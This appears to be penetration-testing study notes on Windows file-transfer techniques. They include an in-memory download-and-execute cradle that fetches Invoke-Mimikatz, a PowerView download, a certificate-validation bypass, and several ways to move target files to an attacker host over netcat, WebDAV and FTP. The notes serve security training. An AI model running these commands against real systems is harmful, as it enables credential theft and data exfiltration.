Windows File Transfer Methods
A DLL (Dynamic Link Library) is a file that holds functions (pieces of code) that other
programs can use when they need them. It helps save space and reuse code in different
programs.
Tools Used:
WMIC: A command-line tool for system management, used to execute commands and
control processes.
Bitsadmin: A tool for managing file transfers, used by attackers to download files quietly.
Certutil: A tool for managing certificates, also used to decode base64-encoded malicious
payloads.
regsvr32: A tool to register and load (run) DLLs, exploited by attackers to run malicious
code.
Userinit Process: A trusted process that runs at startup, used by attackers to hide malware
and evade detection.
Download Operations
md5sum is a Linux command-line utility that calculates the MD5 hash (also called an MD5
checksum) of a file like Get-FileHash in windows.
md5sum id_rsa Get-FileHash path_to_file -Algorithm md5
Encode SSH Key to Base64
cat id_rsa |base64 -w 0;echo
into a Windows PowerShell terminal
[IO.File]::WriteAllBytes("C:\Users\Public\id_rsa",
[Convert]::FromBase64String("base64_string"))
Confirming the MD5 Hashes Match
Get-FileHash C:\Users\Public\id_rsa -Algorithm md5
PowerShell Web Downloads
WebClient methods for downloading data from a resource:
System.Net.WebClient class
Method Description
OpenRead Returns the data from a resource as a Stream.
Method Description
OpenReadAsync Returns the data from a resource without blocking the calling
thread.
DownloadData Downloads data from a resource and returns a Byte array.
DownloadDataAsync Downloads data from a resource and returns a Byte array without
blocking the calling thread.
DownloadFile Downloads data from a resource to a local file.
DownloadFileAsync Downloads data from a resource to a local file without blocking the
calling thread.
DownloadString Downloads a String from a resource and returns a String.
DownloadStringAsync Downloads a String from a resource without blocking the calling
thread.
(New-Object Net.WebClient).DownloadFile('<Target File URL>','<Output File
Name>')
(New-Object Net.WebClient).DownloadFileAsync('<Target File URL>','<Output
File Name>')
PowerShell DownloadString - Fileless Method:
Download and Execute in Memory:
IEX (New-Object
Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/
Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')
This command downloads a PowerShell script from the web and immediately executes it in
memory without saving it to the disk.
Alternative using Pipeline:
(New-Object
Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/
Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1') | IEX
This is just another way of writing the same thing, where the downloaded string (the script) is
passed directly to IEX to be executed in memory.
PowerShell Invoke-WebRequest
To download a file from a URL:
Invoke-WebRequest
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerVi
ew.ps1 -OutFile PowerView.ps1
Aliases curl, wget, iwr...
Common Errors with PowerShell
Bypass Internet Explorer Configuration Error -> add -UseBasicParsing
Bypass SSL/TLS Certificate Errors ->
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
SMB downloads
Start SMB server
sudo impacket-smbserver share -smb2support /tmp/smbshare
Download from Windows
copy \\<IP>\share\filename
If guest access is blocked -> Start SMB server with credentials :
sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password
test
Mount SMB share on Windows
net use n: \\<IP>\share /user:test test
copy n:\filename
Use net use if copy \IP\share\file gives access error.
FTP Downloads
Setting up a Python3 FTP Server
sudo python3 -m pyftpdlib --port 21
Transferring Files from an FTP Server Using PowerShell
(New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt',
'C:\Users\Public\ftp-file.txt')
Using built-in FTP client (for non-interactive shells)
echo open <your-ip> > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo GET file.txt >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt
Check if the file was downloaded:
more file.txt
Upload Operations
Encode File Using PowerShell
[Convert]::ToBase64String((Get-Content -path
"C:\Windows\system32\drivers\etc\hosts" -Encoding byte))
Decode Base64 String in Linux
echo hashstring= | base64 -d > hosts
Confirm by hash
md5sum hosts
PowerShell Script to Upload a File to Python Upload Server
IEX(New-Object
Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/
plaintext/master/Powershell/PSUpload.ps1')
Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File
C:\Windows\System32\drivers\etc\hosts
[+] File Uploaded: C:\Windows\System32\drivers\etc\hosts
[+] FileHash: 5E7241D66FD77E9E8EA866B6278B2373
PowerShell Base64 Web Upload
on the target:
You grab the content of a file and encode it in base64:
$b64 = [System.Convert]::ToBase64String((Get-Content -Path
'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
Then send it using a POST request:
Invoke-WebRequest -Uri http://<listener-ip>:8000/ -Method POST -Body $b64
on your host:
nc -lvnp 8000
From the netcat output, copy only the base64 string and decode it:
echo "<base64>" | base64 -d -w 0 > hosts
SMB Uploads
Most networks block outbound SMB (TCP/445) due to security risks, but WebDAV (which runs
over HTTP/HTTPS) can be used as an alternative to transfer files when SMB is restricted, since
Windows will fall back to HTTP if SMB fails.
using WebDav
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
Connecting to the Webdav Share
dir \\192.168.49.128\DavWWWRoot
Uploading Files using SMB
copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\DavWWWRoot\
copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\sharefolder\
DavWWWRoot is a Windows Shell keyword used to indicate the root of a WebDAV server; it
doesn't exist on the actual server.
You can skip DavWWWRoot by directly referencing a real folder (e.g.,
\\192.168.49.128\sharefolder ).
If SMB (TCP/445) is not blocked, impacket-smbserver can be used for file
uploads/downloads just like in normal SMB operations.
FTP Uploads
starting a server:
sudo python3 -m pyftpdlib --port 21 --write
--write -> to allow clients to upload files to our attack host.
PowerShell Upload File:
C:\user1> echo open 192.168.49.128 > ftpcommand.txt
C:\user1> echo USER anonymous >> ftpcommand.txt
C:\user1> echo binary >> ftpcommand.txt
C:\user1> echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt
C:\user1> echo bye >> ftpcommand.txt
C:\user1> ftp -v -n -s:ftpcommand.txt
ftp> open 192.168.49.128
Log in with USER and PASS first.
ftp> USER anonymous
ftp> PUT c:\windows\system32\drivers\etc\hosts
ftp> bye
Linux File Transfer Methods
